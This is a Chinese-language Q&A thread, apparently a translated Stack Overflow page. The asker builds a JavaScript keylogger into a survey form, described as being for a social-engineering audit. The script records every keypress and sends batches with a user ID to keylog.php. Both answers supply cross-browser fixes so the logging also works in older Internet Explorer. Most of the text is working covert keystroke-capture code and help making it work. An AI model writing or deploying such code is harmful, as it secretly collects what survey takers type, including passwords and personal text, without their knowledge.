我正在编写本调查问卷,用于进行IT安全社会工程审计。除了所有表单字段,我正在尝试构建一个javascript键盘记录器以获取有关用户操作的更多信息。
到目前为止,键盘记录器在FF中工作得很好但不是IE。我必须同时工作。任何帮助/想法赞赏。
<script>
function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}
keylog="";
userID="";
document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}
</script>
答案 0 :(得分:1)
(较旧)IE不支持Event.charCode
。你可以尝试这样的事情:
document.onkeypress = function (e) {
var evt = e || window.event,
charCode = evt.charCode || evt.keyCode;
keylog += String.fromCharCode(charCode);
if ((keylog.length === 5) || (charCode === 13)) {
...
}
在调用者和被调用者参数中使用相同的变量名称(keylog
)也可能导致IE中的Out of memory
错误&lt; 8.使用named function expression ...
答案 1 :(得分:0)
在编写jquery插件之前我已经注意到了这个问题 - 请尝试使用
String.fromCharCode(event.which)
而不是keycode ..它适用于IE 6 +所有其他浏览器..
感谢。